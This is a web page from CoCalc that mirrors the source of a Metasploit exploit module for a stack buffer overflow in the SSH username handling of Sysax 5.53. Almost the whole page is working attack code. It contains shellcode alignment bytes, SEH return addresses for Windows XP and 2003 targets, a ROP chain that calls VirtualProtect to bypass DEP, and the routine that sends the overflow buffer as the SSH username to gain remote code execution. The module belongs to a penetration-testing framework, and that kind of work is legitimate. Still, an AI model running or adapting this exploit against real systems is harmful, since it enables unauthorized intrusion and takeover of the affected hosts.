CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ssh/sysax_ssh_username.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Remote::SSH
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Sysax 5.53 SSH Username Buffer Overflow',
17
'Description' => %q{
18
This module exploits a vulnerability found in Sysax's SSH service. By
19
supplying a long username, the SSH server will copy that data on the stack
20
without proper bounds checking, therefore allowing remote code execution
21
under the context of the user. Please note that previous versions
22
(before 5.53) are also affected by this bug.
23
},
24
'License' => MSF_LICENSE,
25
'Author' => [
26
'Craig Freyman', # Initial discovery, PoC
27
'sinn3r' # Metasploit
28
],
29
'References' => [
30
['OSVDB', '79689'],
31
['URL', 'http://www.pwnag3.com/2012/02/sysax-multi-server-ssh-username-exploit.html'],
32
['EDB', '18535']
33
],
34
'Payload' => {
35
'Space' => 1024,
36
'BadChars' => "\x00\x3a",
37
'StackAdjustment' => -3500
38
},
39
'DefaultOptions' => {
40
'EXITFUNC' => 'seh'
41
},
42
'Platform' => 'win',
43
'Targets' => [
44
[
45
'Sysax 5.53 on Win XP SP3 / Win2k3 SP0',
46
{
47
'Rop' => false,
48
'Ret' => 0x00402669 # POP/POP/RET - sysaxservd.exe
49
}
50
],
51
[
52
'Sysax 5.53 on Win2K3 SP1/SP2',
53
{
54
'Rop' => true,
55
'Ret' => 0x0046d23c # ADD ESP, 0F8C # RETN
56
}
57
]
58
],
59
'Privileged' => false,
60
'DisclosureDate' => '2012-02-27',
61
'DefaultTarget' => 0
62
)
63
)
64
65
register_options(
66
[ OptInt.new('RPORT', [false, 'The target port', 22]) ]
67
)
68
end
69
70
def check
71
begin
72
connect
73
banner = sock.get_once(-1, 5) || ''
74
disconnect
75
vprint_status("Banner: #{banner}")
76
if banner.match?(/SSH-2\.0-SysaxSSH_1\.0/)
77
return Exploit::CheckCode::Appears
78
end
79
rescue StandardError
80
vprint_error('An error has occurred while trying to read a response from target')
81
return Exploit::CheckCode::Unknown
82
end
83
84
Exploit::CheckCode::Safe
85
end
86
87
def generate_regular_exploit
88
#
89
# Align the stack to the beginning of the fixed size payload
90
#
91
align = "\x54" # PUSH ESP
92
align << "\x58" # POP EAX
93
align << "\x04\x08" # ADD AL,0x08
94
align << "\x8b\x18" # MOV EBX, [EAX]
95
align << "\x93" # XCHG EAX,EBX
96
align << "\x66\x2d\x10\x04" # SUB AX,0x361
97
align << "\x50" # PUSH EAX
98
align << "\xc3" # RET
99
100
#
101
# Our payload limited to 1024+4 bytes
102
#
103
p = make_nops(4)
104
p << payload.encoded
105
106
#
107
# Craft the buffer like this:
108
# [392 bytes][20 bytes][< 9404 bytes][payload][alignment][nseh][seh]
109
# * The 20-byte region is where our source IP is written. 20 bytes gives it enough room
110
# for the IP length, so the next 9404-byte space will begin at a consistent place.
111
# * After SEH, we have ~1860 bytes, but we don't need that because we're doing a
112
# partial-overwrite to allow a null byte in SEH.
113
#
114
buf = ''
115
buf << rand_text(392, payload_badchars)
116
buf << rand_text(20, payload_badchars)
117
buf << rand_text(9204 - buf.length - align.length - p.length, payload_badchars) # 8796+392+20
118
buf << p
119
buf << align
120
buf << "\xeb" + [0 - align.length - 2].pack('c') + make_nops(2) # Short jmp back
121
buf << [target.ret].pack('V*')
122
buf
123
end
124
125
def generate_rop_exploit
126
junk = rand_text(4).unpack('L')[0].to_i
127
nop = make_nops(4).unpack('L')[0].to_i
128
129
# !mona rop -m msvcrt
130
p =
131
[
132
0x77bb2563, # POP EAX # RETN
133
0x77ba1114, # <- *&VirtualProtect()
134
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
135
junk,
136
0x77bb0c86, # XCHG EAX,ESI # RETN
137
0x77bc9801, # POP EBP # RETN
138
0x77be2265, # ptr to 'push esp # ret'
139
0x77bb2563, # POP EAX # RETN
140
0x03C0990F,
141
0x77bdd441, # SUB EAX, 03c0940f
142
0x77bb48d3, # POP EBX, RET
143
0x77bf21e0, # .data
144
0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
145
0x77bbfc02, # POP ECX # RETN
146
0x77bef001, # W pointer (lpOldProtect) (-> ecx)
147
0x77bd8c04, # POP EDI # RETN
148
0x77bd8c05, # ROP NOP (-> edi)
149
0x77bb2563, # POP EAX # RETN
150
0x03c0984f,
151
0x77bdd441, # SUB EAX, 03c0940f
152
0x77bb8285, # XCHG EAX,EDX # RETN
153
0x77bb2563, # POP EAX # RETN
154
nop,
155
0x77be6591, # PUSHAD # ADD AL,0EF # RETN
156
].pack('V*')
157
158
p << payload.encoded
159
160
#
161
# Similar buffer structure to generate_regular_exploit
162
#
163
buf = ''
164
buf << rand_text(392, payload_badchars)
165
buf << rand_text(20, payload_badchars)
166
buf << rand_text(1012, payload_badchars)
167
buf << p
168
buf << rand_text(9204 - buf.length)
169
buf << rand_text(4, payload_badchars)
170
buf << [target.ret].pack('V*')
171
buf
172
end
173
174
def exploit
175
#
176
# Create buffer based on target (DEP or no DEP)
177
# If possible, we still prefer to use the regular version because it's more stable
178
#
179
if target['Rop']
180
buf = generate_rop_exploit
181
else
182
buf = generate_regular_exploit
183
end
184
185
#
186
# Send the malicious buffer
187
#
188
pass = rand_text_alpha(8)
189
begin
190
print_status("Sending malicious request to #{rhost}:#{rport}...")
191
factory = ssh_socket_factory
192
ssh = Net::SSH.start(
193
datastore['RHOST'],
194
buf,
195
password: pass,
196
port: datastore['RPORT'],
197
timeout: 1,
198
proxy: factory,
199
config: false,
200
non_interactive: true,
201
verify_host_key: :never
202
)
203
204
::Timeout.timeout(1) { ssh.close }
205
rescue Errno::ECONNREFUSED
206
print_error("Cannot establish a connection on #{rhost}:#{rport}")
207
return
208
rescue StandardError => e
209
if e.message.match?(/fingerprint [0-9a-z:]+ does not match/)
210
print_error("Please remove #{rhost}:#{rport} from your known_hosts list")
211
return
212
end
213
end
214
215
handler(ssh)
216
end
217
end
218
219